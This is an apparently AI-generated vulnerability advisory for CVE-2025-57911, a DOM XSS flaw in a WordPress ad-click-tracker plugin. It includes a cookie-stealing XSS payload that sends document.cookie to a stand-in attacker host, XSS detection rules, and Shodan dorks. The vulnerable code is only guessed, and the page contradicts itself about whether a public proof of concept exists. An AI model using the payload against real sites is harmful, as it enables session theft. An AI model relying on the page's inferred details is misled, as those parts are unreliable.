☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpfactory logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57911

CVE-2025-57911 Cross-Site Scripting in Wpfactory
📅 PUBLISHED: 2025-09-22 19:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57911 is a DOM-Based Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Adverts" by WPFactory, specifically within the adverts-click-tracker component (version <= 1.4). This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during web page generation. The attack is executed client-side, meaning the payload is never sent to the server but is processed by the victim's browser via the Document Object Model (DOM). Given the CVSS score of 6.5 (Medium), the risk is elevated due to the potential for session hijacking, credential theft, and defacement. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The vulnerable component is a plugin that tracks ad clicks. An attacker could craft a malicious link or embed a script that, when clicked by an authenticated administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin dashboard or frontend. This is not a server-side issue with Apache or Nginx; it is purely a client-side DOM manipulation flaw within the plugin's JavaScript code.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to deliver a crafted link or payload.
  • Privileges Required (PR): None (N) – No authentication is needed to trigger the XSS.
  • User Interaction (UI): Required (R) – The victim must click a link or visit a page containing the malicious payload.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component, potentially affecting the entire WordPress site.
  • Confidentiality (C): Low (L) – Limited data exposure, but session tokens could be stolen.
  • Integrity (I): Low (L) – Limited ability to modify content, but scripts can alter page behavior.
  • Availability (A): Low (L) – Limited impact on availability, but defacement or redirection could occur.

Threat Level: Medium. The lack of a patch and the ease of exploitation (user interaction required) make this a moderate risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the adverts-click-tracker plugin's JavaScript code, which processes click events on ad links. The plugin likely reads a URL parameter or a data attribute from the DOM and injects it directly into the page without proper sanitization. For example, if the plugin uses document.location.hash or document.URL to extract a tracking parameter and then sets innerHTML or document.write() with that value, an attacker can inject a script tag.

Attack Flow:

  1. An attacker crafts a malicious URL: https://victim-site.com/?ad_click=javascript:alert('XSS') or uses a fragment identifier like #<img src=x onerror=alert(1)>.
  2. The victim (e.g., a site admin) clicks the link.
  3. The plugin's JavaScript reads the malicious input from the URL.
  4. The input is inserted into the DOM without encoding, causing the browser to execute the injected script.

Root Cause: The plugin fails to sanitize or encode user-controlled input before using it in DOM manipulation methods (e.g., innerHTML, outerHTML, document.write, or jQuery.html()).

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (adverts-click-tracker.js)
var clickData = window.location.hash.substring(1);
document.getElementById('ad-tracker').innerHTML = clickData;

A patched version would use safe DOM methods:

// Patched code
var clickData = window.location.hash.substring(1);
var safeData = document.createTextNode(clickData);
document.getElementById('ad-tracker').appendChild(safeData);

Or use a sanitization library:

// Patched code with DOMPurify
var clickData = window.location.hash.substring(1);
document.getElementById('ad-tracker').innerHTML = DOMPurify.sanitize(clickData);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • WordPress instance with Adverts plugin v1.4 installed.
  • Attacker machine with a browser and a simple HTTP server to capture cookies.

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., ad_click or a hash fragment).
  2. Craft a payload that steals cookies:
    https://victim-site.com/#<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
    
  3. Send the link to the victim (e.g., via email or social engineering).
  4. When the victim clicks, the script executes and sends the cookie to the attacker's server.

No public exploit code is available. The above is a hypothetical example based on common DOM XSS patterns.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual URL patterns containing <script>, onerror, onload, or javascript:.
  • Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

  • Disable or remove the plugin until a patch is released.
  • Use a Web Application Firewall (WAF) to block malicious query strings.
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • URL Patterns: *?ad_click=*<script*, *#*<img*onerror*, *#*<svg*onload*
  • HTTP Request Headers: Referer header containing malicious JavaScript.
  • Client-Side Artifacts: Unusual JavaScript execution in the browser console.
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule dom_xss_adverts_click_tracker {
    meta:
        description = "Detects DOM XSS patterns in adverts-click-tracker plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57911"
    strings:
        $vuln_func1 = "innerHTML" nocase
        $vuln_func2 = "outerHTML" nocase
        $vuln_func3 = "document.write" nocase
        $vuln_param = "ad_click" nocase
        $hash_ref = "location.hash" nocase
    condition:
        all of ($vuln_func*) and ($vuln_param or $hash_ref)
}

Sigma Rule

title: DOM XSS via Adverts Click Tracker Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential DOM XSS exploitation attempts against CVE-2025-57911
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'ad_click='
    condition: selection
falsepositives:
    - Legitimate use of ad tracking parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57911 DOM XSS Attempt"; flow:to_server,established; content:"ad_click"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the "Adverts" plugin and the adverts-click-tracker component until a patch is released.
  2. Workaround: If the plugin is essential, manually edit the JavaScript file to sanitize input using textContent instead of innerHTML, or use a library like DOMPurify.
  3. Long-Term: Monitor the WPFactory website for an official update. Consider replacing the plugin with an alternative that is actively maintained.
  4. General Hardening: Implement a strong Content Security Policy (CSP) that disallows inline scripts and restricts script sources.
  5. User Training: Educate administrators and editors about the risks of clicking untrusted links.

Valters IT Signature:
This report is generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/adverts-click-tracker"
http.html:"adverts-click-tracker"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57911/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.